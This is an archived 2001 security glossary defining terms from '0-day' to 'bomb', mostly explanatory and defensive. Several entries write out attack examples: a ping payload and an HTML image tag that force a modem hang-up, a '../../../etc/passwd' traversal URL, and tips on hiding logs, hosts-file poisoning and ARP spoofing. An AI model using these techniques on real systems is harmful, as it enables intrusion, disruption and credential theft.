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URL: http://www.robertgraham.com/pubs/hacking-dict.html
Version 0.7.0, 2001-11-11
Copyright 1998-2001 by Robert Graham (hacking-dict@robertgraham.com. You may use this document for any purposes (including commercial) as long as you give me credit and include a link back to the original at http://www.robertgraham.com/pubs/hacking-dict.html.
[ $IFS | 'bot | .forward | .plan | /dev/null | /dev/random | /etc | /etc/hosts | /etc/hosts.equiv | /etc/inetd.conf | /etc/passwd | /etc/services | /etc/shadow | 0-day | 11 | 128-bit | 2600 | 3DES | 3DES_EDE | 40-bit | 56-bit | 64-bit | 8 | 8-character password | 802.11 | 802.1q | ~user ]
The term "0-day" describes the fact that the value of exploits quickly goes down as soon as they are announced. The next day they are half as valuable. The 2nd day they are a 1/4 as valuable. Ten days later they are 1/1000 as valuable as on day 0. This is because script-kiddies quickly use the exploits on computers throughout the Internet, compromising systems before anybody else can get to them.
Contrast: The term 0-day exploit describe the hard-to-use exploits by the discoverer himself (or close friends), in contrast to the easy-to-use scripts employed by script kiddies. For example, a buffer-overflow script will go through many phases as people try to find the right offsets for the target platforms, but will eventually end up as a broad-spectrum aim-and-shoot script that anybody could use.
Key point: One of the dangers of 0-day exploits is BUGTRAQ camping. A hacker discovers all the services running on the target victim and waits for day-0 when the exploit is announced. At that time, the hacker attacks the systems with the new exploit.
Key point: The term "0-day" describes any bit of information in the community, whether it is serial numbers, lists of proxies, or passwords to porn sites. As soon as such information becomes well-known and exploited by large numbers of people, it is then fixed by the victim. Information has a "half-life": the older it is, the less value it has.
Key point: The debate over strong encryption is never ending. Within the United States, law enforcement is constantly lobbying to restrict the use of strong encryption. Many resist, pointing out how often law enforcement already abuses wiretap powers (such as against Martin Luther King). At the same time, companies making products constantly lobby for the easing of export restrictions, so that they can sell strong encryption products abroad. Another funny thing is that the U.S. government's intransigence on this issue has actually led to stronger encryption abroad. U.S. export restrictions (and desire to spy on foreigners) was one of the reasons France relaxed its own law-enforcement bans on encryption use by citizens.
Key point: The random number generators within systems are often weaker than the key itself. For example, when you connect via SSL from your browser to a web-server, they choose a key for that session. That key is chosen with a random number generator. One estimate was that the average 128-bit session key contains only 47-bits of randomness. Other browsers have had even weaker systems allowing the session key to be recovered in only a few minutes.
Culture: This number is often used within the hacking culture. It is the name of a magazine (http://www.2600.com) as well as that of a series of newsgroup (news:alt.2600).
Key point: Specialized hardware can decrypt 40-bit keys in real time. The average new desktop has enough horsepower to decrypt 40-bit messages. Thus, many people now consider 40-bit encryption to be simply obfuscated plaintext.
Key point: The term 40-bit often means the RC4 system within browsers.
Key point: In January of 1999, the EFF built a custom machine (the "Deep Crack") for $250,000 that could decrypt 56-bit DES encrypted messages in hours.
Key point: 56-bit cryptography almost always means DES.
Status: At the current time (year 2001), 802.11 is completely broken as far as security is concerned. There exists no solutions at this time that companies can use to create secure networks. However, within a couple years, it is likely that secure standards will be created.
Key point: The following techniques are used in an attempt to secure a wireless network:
Key point: An employee leaving the company is likely to know all necessary SSIDs, MAC addresses, and WEP keys in order to get back on the network. This means that they can sit in the parking lot and gain access to the network and/or sniff traffic. Unless better key-management techniques are standardized, 802.11 cannot be securely used in corporate environments.
Key point: Other 802.11 terms:
Point: IEEE 802.11b transmits in the 2.4 GHz radio band (the same as microwave ovens, so it is recommended to keep it away from your body). This band is unregulated by the U.S. government. This means that it is a desireable technology for creating ad-hoc networks. For example, satellite dishes can be used with 802.11 to connect networks up to 30-kilometers away from each other -- without government licenses.
Key point: Security conscious users of such systems need to make sure they use a more random mix of characters because they cannot create long passwords.
Key point: Password cracking such systems is a little easier.
Key point: Web-servers often allow access to user's directories this way. An example would be http://www.robertgraham.com/~rob.
Key point: A big hole on the Internet is that people unexpectedly open up information. For example, the file .bash_history is a hidden file in a person's directory that contains the complete text of all commands they've entered into the shell (assuming their shell is bash, which is the most popular one on Linux).
This file a is prime target of attackers. If they can overwrite this file, they can subtly start capturing the user's e-mail. This is especially dangerous if the the account in question is the root account. Note that the user doesn't have to know any about this file or have one on his system. The mere creation of this file by the intruder will activate this feature. Furthermore, since this file starts with a 'dot', it is normally hidden from the user, so they won't even be ware that this feature exists.
Key point: When rooting a machine,
intruders will often redirect logging to /dev/null
For example, the command
Culture: In the vernacular, means much the same thing as black hole. Typical usage: if you don't like what I have to say, please direct your comments to /dev/null.
Key point: If an intruder can read files from this directory, then they can likely use the information to attack the machine.
Hack: If you can write files to a user's machine, then you can add entries to his/her hosts files to point to your own machine instead. For example, put an entry for www.microsoft.com to point to your machine, then proxy all the connections for the user. This will allow you to perform a man in the middle attack.
Analogy: The European Union (EU) doesn't have passport control between countries. You only have to present your passport when entering the first European country, then you can roam freely once inside the union. The "hosts.equiv" file creates a similar union of machines.
Hack: Hackers will target this file. If their target is machine A, they may instead find that A trusts B, and B may be easier to break into first. At that point, the hacker can hop back to A using an account on B. Likewise, if a hacker can write to this file, they can tell the system to trust any other system on the network (including the hackers own machine).
Hack: Older software would do a reverse DNS lookup on a connecting IP address. If the hacker controlled the DNS server, s/he could return a trusted domain name, and therefore be allowed into the system. Another older hack is the default "+" entry.
See also: .rhosts
Key point: The passwords are encrypted, so even though everyone can read the file, it doesn't automatically guarantee access to the system. However, programs like crack are very effective at decrypting the passwords. On any system with many accounts, there is a good chance the hacker will be able to crack some of the accounts if they get hold of this file.
Key point: Modern UNIX systems allow for shadowed password files, stored in locations like /etc/shadow that only root has access to. The normal password file still exists, minus the password information. This provides backwards compatibility for programs that still must access the password file for account information, but which have no interest in the passwords themselves.
Key point: The chief goal of most hacks against UNIX systems is to retrieve the password file. Many attacks do not compromise the machine directly, but are able to read files from the machine, such as this file. Typical examples include:
Key point: /etc/passwd is a simple text file, with one line per account. The line is broken down into seven columns:
See also: shadowed passwords
Key point: Its role in life is so that programs can do a getportbyname() sockets call in their code in order to get what port they should use. For example, a POP3 email daemon would do a getportbyname("pop3") in order to retrieve the number 110 that pop3 runs at. The idea is that if all POP3 daemons use getportbyname(), then no matter what POP3 daemon you run, you can always reconfigure its port number by editing /etc/services.
Misunderstanding: This file is bad in order to figure out what port numbers mean. If you want to find out what ports programs are using, you should instead use the program lsof to find out exactly which ports are bound to which processes. If running lsof is not appropriate, then you should lookup the ports in a more generic reference.
[ A | access control | Access Control List | accountability | ACK | Acknowledgement Number | ACL | active attack | ActiveX | administrator | advocacy | AES | age | AH | algorithm | alias | amplifier | ANAC | Anarchist Cookbook | anarchy | ANI | anonymity | anonymous | anonymous FTP | ANSI | ANSI X9.17 | anti-replay | anti-virus | AP | Apache | application/form-url-encoded | area code | ARP | ARP redirect | ASN.1 | ASP | Assassination Politics | asymmetric cryptography | AT command set | attack | audit | audit trail | auth | authentication | Authentication Header | authenticity | Authenticode | authorization | automatic variables | availability | avatar ]
In formal terms, a "subject" (e.g. a user) attempts to access the "object" (e.g. system or data). An access control system will evaluate the security levels of the subject and object in order to see if access is permitted.
Example: A simple example is the case where you enter a username and password in order to log onto the computer.
Contrast:
Key point: There are different kinds of access. Read access means that somebody can read information, whereas write access implies that that somebody can change the data. For example, you can get a copy of your credit report and read it, but you can't necessarily change the data.
Key point: An Access Control List (ACL) is used to list those accounts that have access to the resource that the list applies to. When talking about firewalls, the ACL implies the list of IP addresses that have access to which ports and systems through the firewall. When talking about WinNT, the ACL implies the list of users that can access a specific file or directory on NTFS.
Contrast: Discretionary Access Control is the ability to have fine grained control over who has access to what resources.
Misconception: Many people believe that firewall IP address rules or IEEE 802.11 MAC address rules form robust ACLs. However, since neither IP addresses or MAC addresses provide robust authentication, such ACLs provide only a weak form of security. When these so-called ACLs are relied upon for security, they frequently lead to compromises as people spoof their IP or forge their MAC address.
Controversy: A major human rights debate these days is between accountability and anonymity. On one hand, you want to make criminals accountable for their actions, but this invades upon the privacy of individuals who do not want their every action recorded.
Contrast: The term accountability typically describes the issue of tracing actions back to individuals, whereas accounting describes actually recording those actions.
Examples:
Contrast: ActiveX is similar to Java applets, except that the code is not "sandboxed": it has full access to the operating system. In order to stop hostile code, ActiveX relies upon digital signatures and "zones". Microsoft browsers are configured to trust ActiveX programs from servers in the "trusted" zone, to trust signed ActiveX programs from servers in less trusted zones, and to prompt/deny unsigned ActiveX applets from untrusted zones.
Controversy: The idea of trusted zones and signed applets works pretty well in theory, but doesn't always work well in practice. The problem is that is relies upon on all users making the correct choices all the time. The Melissa virus/worm proved that this philosophy is not adequate.
Contrast: The main impetus behind AES to replace DES is the support for larger key sizes. DES uses 56-bit keys, which can be cracked in just a few minutes (in the year 2001). In contrast, AES supports 128-bit keys (as well as 192-bit and 256-bit). Whereas both DES and AES are fundamentally block-ciphers, AES is also designed to be an efficient stream-cipher and hash algorithm. Whereas DES was designed to be hardware based (software implementations are much slower), AES has been designed to be efficient in both software and hardware. In particular, implementations in ANSI C, Java, and x86 assembly language were important. Another important criteria was the ability for the algorithm to work within smart-cards with slow CPUs and limited memory.
Key point: The NIST director in charge of selecting the AES algorithm says: "If Moore's law continues and quantum computing doesn't manifest itself, then I think this system will have a good 30 year run".
Misconception: AES does not replace DES. In the 1980s, DES was the most used encryption algorithm. However, due to length of time it took the government to come up with a replacement standard, other encryption algorithms became widely used, such as RC2, RC4, Blowfish, IDEA, and Triple DES. Moreover, crypto has became very "pluggable", with many products supporting numerous simultaneous encryption algorithms.
Analogy: An cookbook recipe is an algorithm.
Key point: Different algorithms have different levels of complexity. For example, consider the ancient parable (Babylonian?) about a king and a wise subject who did a favor for him. The subject asked for one piece of grain to be placed on the first square of a chess board, two grains on the second, four grains on the third, and so on, doubling the amount of grain for each successive square.
This problem demonstrates an algorithm of exponential complexity. For the first 10 squares of the chess board, the series is: 1 2 4 8 16 32 64 128 256 512. Thus, for the first 10 squares, roughly a thousand grains must be paid out. However, the series continues (using K=1024): 1k 2k 4k 8k 32k 64k 128k 256k 512k. Thus, for the first 20 squares, roughly a million grains must be paid out. After 30 squares, roughly a billion grains must be paid out. For 40 squares, roughly a trillion grains must be paid out.
This is directly related to such things as key size. A 41-bit key is twice as hard to crack as a 40-bit key. A 50-bit key is a thousand times harder. A 60-bit key is a million times harder. This is why the 128-bit vs. 40-bit encryption debate is so important: 128-bit keys are a trillion trillion times harder to crack (via brute force) than 40-bit keys.
Key point: Most algorithms are public, meaning that somebody trying to decrypt your message knows all the details of the algorithm. Consequently, the message is protected solely by the key. Many people try to add additional protection by making the details of the algorithm secret as well. Experience so far has led to the belief that this actually leads to weaker security for two reasons. First, such secrets always get discovered eventually, so if security depends upon this secret, it will eventually be broken. Secondly, human intelligence is such that someone cannot create a secure algorithm on his/her own. Therefore, only by working with a community of experts over many years can humans create a secure algorithm. To date, only two such communities exist: the entire world of cryptography experts publishing the details of their work and trying to break other people's work, and the tightly knit community of cryptography experts working in secret for the NSA.
Example: The classic example is the smurf amplifier. An attacker spoofs the address of a victim and sends directed broadcasts to the amplifier, which then sends hundreds of replies back to the victim. Thus, it only costs the attacker a single packet to send many packets to the victim.
Example: A more subtle attack is the use of DNS. The DNS response packet can be much larger than the request. This allows an attacker to flood the victim with large packets at the cost of small packets.
Contrast: Cyberspace anarchy and real-world anarchy are different. The main thrust is that cyber-punishment should fit cyber-crime, and physical-punishment should only be used in cases of physical-crime.
Example: Most of the cyber-anarchy focuses on cryptography, or crypto-anarchy. This is because most anarchic capabilities will be based in cryptography.
Humor: Anairchists believe in the lack of odor.
See also: cypherpunks
Contrast: While on the service ANI is similar to Caller ID, it is actually a completely different system. ANI predates Caller ID by about 50 years. Since the systems are independent, the numbers recorded for ANI and Caller ID can be different. Also note that the "*67" technique of blocking Caller ID has no affect on ANI.
Example: The term ANAC (Automatic Number Announcement Circuit) will echo back the number you are calling from, either from ANI or Caller ID. They are popular among beige boxing pheakers in order discover the telephone number of the lines they tap into. It is also useful for coporate stooges that are having problems with 800 services because the phone number revealed by ANI about the extension is significantly different that the number they think it is. There really is no number dedicated to ANI discovery (other than 1-800-MY-ANI-IS used in the old days); these numbers are for other purposes, such as automated telephone customer service. Some numbers that are currently active as of August, 2000:
Point: As of 1998, ANI-II is starting to provide extra digits on the end of the telephone number indicating the type of number. The numbers "00" indicate POTS (plain old telephone service), "63" indicates a roaming PCS/cellular caller, "70" is a type of a payphone, etc.
Example: Anonymous e-mail services like Hotmail put the IP address of the person sending the e-mail in the headers (which are normally hidden from view by e-mail clients). Many would-be hackers get caught this way.
Example: France is currently trying to outlaw Internet anonymity, forcing uses to disclose their identity.
Contrast: Anonymity is one aspect of privacy.
Contrast: ANSI is the American representative to the ISO. ANSI is made up of industry, whereas NIST specifies standards only for use within government.
Example: The following are infosec related standards by ANSI. The X9 group are Financial Industry Security Standards, but used elsewhere as well.
Key point: By sniffing ARP packets off the wire, you can discover a lot of stuff going on. This is especially true of cable-modem and DSL segments. Since ARP packets are broadcasts, you aren't technically breaking your user's agreement by sniffing.
Key point: You can spoof ARP requests and/or responses in order to redirect traffic through your machine.
Key Point: Some carribean countries have U.S. area codes. A common telco fraud is to fool people into calling those numbers. The consumers believe that their are calling a U.S. number protected by fraud laws, when in reality they are dialing a pay service that will charge them upwards of $2 a minute. North American Area Codes Outside the U.S. and Canada
| 242 | Bahamas | 664 | Montserrat | |
| 246 | Barbados | 758 | St. Lucia | |
| 264 | Anguilla | 767 | Dominica | |
| 268 | Antigua & Barbuda | 784 | St. Vincent & the Grenadines | |
| 284 | British Virgin Islands | 809 | Dominican Republic | |
| 345 | Cayman Islands | 868 | Trinidad & Tobago | |
| 441 | Bermuda | 869 | St Kitts & Nevis | |
| 473 | Grenada | 876 | Jamaica | |
| 649 | Turks & Caicos Is. |
Link: See the website http://www.nanpa.com/ for more information on NANP (North American Numbering Plan).
Key point: A recurring bug in ASP has allowed hackers to read the script rather than the output of the script. These techniques rely upon changing the name of the script such that the server not longer recognizes it as a script, but as a file instead. Some techniques that have worked in the past have been:
Key point: ASN.1 is used within many areas of security to declare data structures and compatible file/network encodings of those data structures. For example, your X.509 Certificate is an ASN.1 encoded file.
Example: The following shows an ASN.1 structure compared to a C++ structure.
struct UserRecord {
bool account_disabled;
int user_type;
char *user_name;
char *password;
};
UserRecord ::= [APPLICATION 0] IMPLICIT SEQUENCE {
account_disabled BOOLEAN,
user_type INTEGER,
user_name OCTET STRING,
password OCTET STRING
}
Key point: ASN.1 defines structures abstractly, which means it doesn't really specify the concrete representation. There are many ways to encode an ASN.1 structure in binary. There are three popular sets of encoding rules:
The command "ATH0" means to hang up the modem.
Key point: One of the juvenile tricks people play is to cause people to hang up their own modem. Once the modem connects, it goes into a different mode where it no longer accepts AT commands. However, a user can switch back to the command mode by sending the characters "+++" to the modem. Therefore, if somebody can remotely trick your PC into sending "+++ATH0", then your modem will hang up. One way of doing this is with the ping program that sends and ICMP echo to the victim, which then replies with the same contents. E.g.:
ping -p 2b2b2b415448300d victim
The most popular exploits for this are spoofed ICMP pings, but it can be exploited in any number of ways. For example, one may include the following in an HTML webpage:
<IMG src="http://www.robertgraham.com/images/x.gif?+++ATH0">
Example: Some classifications of attacks against computers are:
The first is the security audit, whereby a consulting firm comes in and validates a companies security profile. This is similar to how accounting firms review a company's books.
The second term is infosec specific, and means an "auditing" subsystem that monitors actions within the system. For example, it may keep a record of everyone who logs onto a system. Such a record is known as an audit trail.
Contrast: Authentication will identify who an individual is; authorization will identify what the individual is allowed to do.
Example: When you log in with your username and give the password, you are authenticating yourself to the system. You are proving that you are you because, in theory, only you know your password.
Contrast: Abstractly, anything that combats forgery is called authentication. For example, IPsec includes an Authentication Header (AH) that proves that a packet hasn't been modified in transit. However, this feature overlaps with the abstract concept of integrity: both are checked at the same time.
Examples:
Contrast: Three things used for
See also: Authentication is often mentioned along with other key security concepts such as integrity, confidentiality, and non-repudiation.
Contrast: The terms integrity and authenticity are widely used to mean the same thing. In other situations, they have subtly different meanings (especially law). The term integrity generally describes defending against malicious change of a message once it has been sent, whereas authenticity implies some sort of validation of the sender of the message to protect against forgeries.
Contrast: The terms authentication and authenticity are widely used to mean the same thing. The subtle difference is that authentication is about someone proving who they say they are, whereas authenticity is about proving that message was sent by a certain person.
Contrast: The first stage of authorization is generally authentication. Before you decide what an individual is allowed to do, you must first establish who they are. In some cases, authorization is independent from authentication, such as not allowing anybody to logon after midnight.
Controversy: Availability is one of the key sticking points in security. It is easy to secure things simply by making them unavailable: if a computer is turned off, nobody can hack into it. The trick to infosec is making things both available and secure. Examples of this problem are:
Antonym: The opposite of the infosec term "availability" is the hacking term "DoS".
See also: Availability is often mentioned along with other key security concepts such as integrity, authentication, confidentiality, and non-repudiation.
Key point: Most common people don't understand cyberspace, and assume that their physical body and digital manifestation are the same thing. The hacking culture has a very different point of view that there is no direct corpespondance between a real person and their online identity.
See also: pseudonym
[ back channel | back door | Back Orifice | backtrack | backtracking | banner | BASE64 | bash" | bastion host | BBS | Bcc | beige box | Bell-LaPadula Modle | BER | BGP | big-endian | binary | BIND | BinHex | biometrics | BIOS | birthday attack | birthday paradox | bit | black | black bag job | black-hat | BlackNet | Blind spoofing | block cipher | Blowfish | Blue Team | BlueBEEP | boink | bomb | bonk | boot sector | bootp | box | broadcast | broadcast domain | browser | brute force | BS7799 | BSD | buffer overflow | buffer overrun | bug | BUGTRAQ | BXA | byte-order ]
Contrast: Remote administration trojans (RATs) are NOT examples of back channels, but are instead forward channels. A RAT allows the hacker to contact the system from anywhere in the world, and allows the hacker to hide where he/she is coming from. A back channel, on the other hand, will contact the hacker, who must have a fixed IP address. This clearly fingers who the hacker is.
Key point: Typical back channel protocols are X Windows (xterm) and shells like Telnet. These programs are often built into the victim's system, so many attacks that can't otherwise compromise the system can still trigger a back channel that allows a remote shell.
See also: covert channel
Example:
Key point: Key features of backdoors are:
Key point: Back doors are frequently programmed into systems either benignly or maliciously. Most computers shipped today allow BIOS passwords to be set that will prevent the booting of the computer without the administrator first typing the password. However, since many people lose their password, such BIOSes often have a back door passwords that allows the real password to be set. Similarly, a lot of remotely manageable network equipment (routers, switches, dialup banks, etc.) have backdoors for remote Telnet or SNMP. The frequency of such back doors is due to the fact that people are stupid, set passwords, forget them, then whine to customer support.
Key point: A backdoor can be added to any system. For example, when generating random session keys, a programmer may actually subvert the random number generator. Such subversion would then allow decrypting of the message by those who knew the specifics. This has already been done accidentally; some paranoids believe that some encryption products do this intentionally in order to get export approval of 128-bit products.
See also: trap-door
Example: Many programs contain built-in HTTP servers. This allows the program to be remotely managed from any web browser. These servers expect that only the files in their own directory and below will be read. However, hackers can still provide URLs that go up directories, and down into other directories in order to read any file from the system. For example, a hacker may be able to read the UNIX password file by typing in the URL: http://www.robertgraham.com/../../../etc/passwd.
Key point: This bug occurs because programmers frequently forget to double-check input.
Example: This bug is common. The original version of Win95 had this bug, so that if you had access to File and Print Sharing to any subdirectory, you also had access to the entire system. A huge number of HTTP servers and CGI scripts have this bug. Many FTP servers have had this bug. Even though this bug has been exploited for over 15 years, new variations of this technique are constantly being discovered in new programs.
Key point: Win9x has the quirk that three dots "..." means "two directories up", four dots "...." means "three directories up", and so on. Additionally, whereas on many UNIX systems going up past the top directory automatically generates an error, going above the top directory on Windows leaves you in the top directory. Therefore, filenames like "............/Windows/greg.pwl" are frequently seen: the hacker puts more than enough dots in the path in order to guarantee they reach the root directory.
Key point: Many popular Windows "personal web servers", including several versions shipped from Microsoft, have had either the "../.." or "....." vulnerability. In particular, since the "....." issue is not widely know, it is very common among those products that fix the first variant. FrontPage98 from Microsoft shipped with this bug.
Key point: Many banners reveal the exact version of the product. Over time, exploits are found for specific versions of products. Therefore, the intruder can simply lookup the version numbers in a list to find which exploit will work on the system. In the examples below, the version numbers that reveal the service has known exploitable weaknesses are highlighted.
Example: The example below is a RedHat Linux box with most the default service enabled. The examples below show only the text-based services that show banners upon connection (in some cases, a little bit of input was provided in order to trigger the banners). Note that this is an older version of Linux; exploits exist for most these services that would allow a hacker to break into this box (most are buffer-overflow exploits).
| Protocol | Port | Banner |
|---|---|---|
| FTP | 21 | 220 rh5.robertgraham.com FTP server (Version wu-2.4.2-academ[BETA-15](1) Sat Nov 1 03:08:32 EST 1997) ready. |
| ssh | 22 | SSH-2.0-2.1.0 SSH Secure Shell (non-commercial) |
| Telnet | 23 |
Red Hat Linux release 5.0 (Hurricane) Kernel 2.0.31 on an i486 login: |
| SMTP | 25 | 220 rh5.robertgraham.com ESMTP Sendmail 8.8.7/8.8.7; Mon, 29 Nov 1999 23:28:31 -0800 |
| finger | 79 |
Login Name Tty Idle Login Time Office Office Phone rob Robert David Graham p0 Nov 29 22:51 (gandalf) root root p1 Nov 29 23:34 (10.17.128.201:0.0) |
| HTTP | 80 |
HTTP/1.0 200 OK Date: Tue, 30 Nov 1999 07:34:59 GMT Server: Apache/1.2.4 Last-Modified: Thu, 06 Nov 1997 18:20:06 GMT Accept-Ranges: bytes Content-Length: 1928 Content-Type: text/html |
| POP3 | 110 | +OK POP3 rh5.robertgraham.com v4.39 server ready |
| identd | 113 | 0 , 0 : ERROR : UNKNOWN-ERROR |
| IMAP4 | 143 | * OK rh5.robertgraham.com IMAP4rev1 v10.190 server ready |
| lp | 515 | lpd: lp: Malformed from address |
| uucp | 540 | login: |
Best practices: It is often recommend (and required in some government areas) to display a banner warning off unauthorized users. It makes the legal case stronger if you can show that the attacker saw a banner that indicated that they were unauthorized.
Best practices: All version information should be supressed in the banners.
See the product documentation for more information on this. An example on Solaris is
to edit the configuration file /etc/default/telnetd and added the line:
BANNER=""
This will remove the Solaris login banner, making it more difficult for an intruder to determine
the type of operating system.
|
SunOS 5.7 login: |
login: |
| Service | File | Parameter |
|---|---|---|
| Sendmail | sendmail.cf | O SmtpGreetingMessage= |
| Sun FTP | /etc/default/ftpd | BANNER="" |
| Sun Telnet | /etc/default/telnetd | BANNER="" |
See also: firewall
...a means of restricting access to objects based on the sensitivity (as represented by a label) of the information contained in the objects and the formal authorization (e.g., clearance) of subjects to access information of such sensitivity
In this definition, a "subject" is somebody (user) who wants access to an "object" (information, data file, system). The subject and object have different security levels.
Objects (information, data, systems) are assigned security classification levels. A typical
example would be:
unclassified < confidential < secret < top-secret
Subjects are assigned similar clearance levels that allow access to objects of similar level or below. For example, if you are a government employee with "secret" clearance level, you can access everything but "top-secret" information.
A classification level such as "top-secret" will also include categories. For example, you may have a "secret" clearance for NATO information, and "top-secret" clearance for all matters pertaining to nuclear weapons. The system follows the principle of least privilege. Therefore, you would not be cleared to access top-secret NATO nuclear plans because your NATO clearance isn't high enough.
Netiquette: USE BCC!!! It is a security breach to reveal people's e-mail addresses to others. For example, one of the recipients may be an MLM seller and will start spamming the other recipients. Another breach is a virus like Magister.B that will forward itself to addresses it finds while scanning the Inbox. There are cases where you want recipients to know about each other, but if you can't come up with a reason, you should use "Bcc:" instead of "Cc:" or "To:" fields.
Key point: BGP can be subverted in many ways. BGP is generally unauthenticated, and rogue ISPs can play havoc.
Contrast: The word binary usually means not text. In computers, every 8 binary digits are used to represent a byte. However, only 7 binary digits are needed to convey text (26 upper case, 26 layer case 10 decimal digits, a number of punctuation characters, etc). Therefore, data using just 7 binary digits per bytes is always text data. It is pointless to say binary computer data, since all computer data is binary. When someone says binary, rather than being redundant, what they are really trying to convey is that the data in question isn't text data. For example, FTP is a text protocol, whereas SMB is a binary protocol.
Misconception: The word is also a noun (as well as the usual adjectival sense). A binary is a file containing binary (as opposed to text) data. In particular, you may hear the phrase "hackers replace the binaries on a the victim's machine". What this really means is that the hackers have replaced many of the software programs (with trojans). This phrase comes about because executable programs contains binary, not text data. Therefore, a machine's binaries are its programs.
See also: A common issue is how to send binary data within a text protocol/message. For example, how can we send a binary within a text e-mail message? The answer is to "encode" the data. See the word encoding for more details.
History: The ancient Egyptions used biometrics in order to verify somebody's identity. They would make several measurements of body features (e.g. length of arms) and record them. Fingerprints have actually only been used in the last 100 years.
Example: The market for biometrics in the year 2000 was roughly $100 million. There are many methods, each with their own pros and cons (accuracy, ease of use, end-user prejudice, etc.).
Point: One area of biometrics focuses on those cases where the user isn't aware of the scan. For example, an airport may have a facial features scanner design to trigger on known terrorists. Equipment could be installed under the floor in order to discover people according to their gait as they walk over them (such systems can distinguish among multiple people walking simultaneously). Body odor and DNA can be extracted from a persons "thermal plume" as they walk under a sniffing system.
Controversy: Biometrics introduces huge privacy debate. For the first time, it provides the government with a means to track its citizens in a manner that the citizens cannot avoid. This gives totalitarian governments the ability to tightly control their populations. At the same time, it provides businesses equal opportunity to invade their employees and customer's privacy.
Controversy: Biometrics is based upon a single, unalterable identity. A private-key, for example, can be destroyed in case it is compromised (through key revocation). However, your biometrics are with you for life. Today's authentication is usually through pseudonyms that are only roughly related to who you really are.
Key Point: Biometrics has a number of problems. The first is that biometric measurements get worse over time. People's signatures change over time. An injury can change fingerprints. Voice recognition systems fail when people have cold. Not all people have the requisite physical features (eyes, hands, etc).
Pros: Biometrics cannot be forgotten; many companies are adopting biometrics as a cost saving issue because lost passwords is becoming a leading problem in IT departments. Biometrics cannot be passed on from one person to another. Biometrics are extremely difficult to forge.
Culture: Biometrics have appeared frequently in movies, partially because of the Orwellian horros they ellicit from the audience. The entire plot of the movie Gataca was based upon DNA biometrics. The Bond film "Diamonds are Forever" used a trick of thin rubber over the fingertips to forge someone else's fingerprints -- a trick that has been recently shown to work. Another Bond film used the trick of surgical change in order to forge an iris scanner.
Key point: The BIOS stores configuration settings in NVRAM (Non-Volatile RAM). Remember that the contents of your normal RAM/memory are lost when you power-off your computer. The contents of NVRAM, in contrast, are retained when power goes off. Most NVRAM consists of CMOS (low-power) chips with a small battery that constantly feeds power to the chips (such batteries last about 5-years). A common trick of hackers and viruses is to corrupt the CMOS settings causing the computer to fail to boot. Removing the battery connection (usually a jumper on the motherboard) will cause the CMOS settings to be lost and be reset back to default (good) state.
Key point: All of today's BIOSes are stored in programmable ROMs, which allows them to be reprogrammed (usually with bug fixes from the manufacturer). This allows the hacker to reprogram them as well. While in theory hackers could reprogram their own code into the BIOS, in practice this has not been done yet. Instead, hackers can sometimes use this programming feature to corrupt the BIOS code (in much the same way they corrupt the BIOS settings mentioned above). This will usually prevent the system from booting even to a point where a fresh BIOS can be re-programmed into the system. This requires that the system be brought back to the vendor in order to have the BIOS reprogrammed. Note that you can often set a jumper on the motherboard that denies the ability to reprogram the BIOS.
Misconception: Naive users who get hacked often come up with the belief that the hacker has gotten into their BIOS and left some sort of backdoor behind. While such a thing is possible in theory, it never happens in practice.
Key point: Many BIOSs can be locked with a boot password. This prevents somebody from booting the machine without the password. However, for technical support reasons, they generally have backdoor passwords. Some of them are listed below. By the time you read this, these are likely to be out-of-date. However, if you type these strings into a search engine, you will probably be able to find the latest ones.
Key point: BIND provides about 80% of all DNS services. It is also enabled by default on a lot of Linux distributions. As a result, any exploit discovered for BIND has immediate and large impact on the Internet. As of November, 1999, all versions of BIND previous to 8.2.2-P5/4.9.7 have known holes that can be exploited. It is likely that these newer versions also have undiscovered exploitable holes as well.
Key point: BIND comes in two versions, 4.x and 8.x. This is largely due to backwards compatibility: people are running a lot of older servers and would rather patch them than upgrade to a newer version. Also, the newer 8.x code-base has not be extensively peer-reviewed and is thought to be a lot less secure than the 4.x source base. UPDATE: BIND v9 is now available, though most users are sticking with v8.
Another way of looking at it is that most school classrooms have more than 23 students. Therefore, in more than half of all school classrooms, two students have the same birthday.
The reason this is surprising is because we are accustomed to thinking in terms of somebody having the same birthday as ourselves. In a room with 20 people, there is less than a 5% chance that somebody else has the same birthday as ourselves.
Key point: This fact is important in cryptography. For example, the cryptographic hash function creates a "unique" fingerprint of a file. It is virtually impossible for an attacker to create another messages that matches that unique fingerprint. However, there may be cases where an attacker wants to create two new messages with the same fingerprint. This second problem is a lot easier than the first. The attacker may want to create two contracts, then after having the first one digitally sign, substitute the second one in its place. For this reason, a common recommendation for third-party signature services is to add a seal along with the signature in order to change the resulting hash.
Example: Consider MD5 whose hash has a length of 128-bits. This means that creating a message that hashes to the same value as the first message would take 2128 brute-force attempts. However, choosing two messages that together hash to the same value takes only 264 attempts. In other words, if you have to create a match an existing message, the problem is tough, but if you can create both messages, the problem is easy. The upshot is that many cryptographic algorithms have to be strong enough to defend also against birthday attacks.
Key point: In many contexts, each additional bit means "twice as much". 8 extra bits means 256 times as much. 16 extra bits means 65536 times as much. Therefore, it takes 65536 times longer to brute force crack a 56-bit key than a 40-bit key.
Key point: The inadvertent connection between black and red networks is one of the chief concerns of military-grade security.
Terminology:
History: in 2000, the FBI secretly entered the office of Nicodemo Scarfo and installed a keylogger. The FBI was able to capture Scarfo's password and decrypt his PGP encoded e-mail.
History: The 1971 Watergate snafu was an illegal black-bag operation.
History: In October of 1993, Attorney General Janet Reno authorized the FBI to enter the home of Aldritch Ames, a suspected CIA mole. This was after months of of electronic and physical surveillance, including searches of his trash.
Key point: Authorized black-bag jobs are sometimes part of pen-tests.
Controversy: Many believe that black-bag jobs are in violation of the Fourth Ammendment.
In the class of hostile software, a logic bomb is some code left behind by a program that "goes off" at a particular time (such as deleting all the files on the computer on New Years Eve). One theory was that Y2K consultants left logic bombs inside the code they were fixing in order to earn even more money after Y2K.
A mail bomb is the effect of sending somebody tons of e-mail (or large e-mail), overloading their mailbox and/or network connection. Sometimes this can be done with a program, other times it can be done simply by signing up the victim to huge numbers of e-mailing lists. Finally, it can be accidental, as happened once to Apple Computer when its mailing list software got out of control.
A time bomb is a bit of malware inserted into a system set to go off at a specific date.
History: In the old days of UNIX terminals, an e-mail message containing VT100 control codes in a logic bomb could completely hose a user's terminal, forcing them to log out. DOS machines supporting the ANSI.SYS driver also had that problem.
Example: Some well known programs for e-mail bombing are: Unabomber, Kaboom, UpYours, and Avalanche.
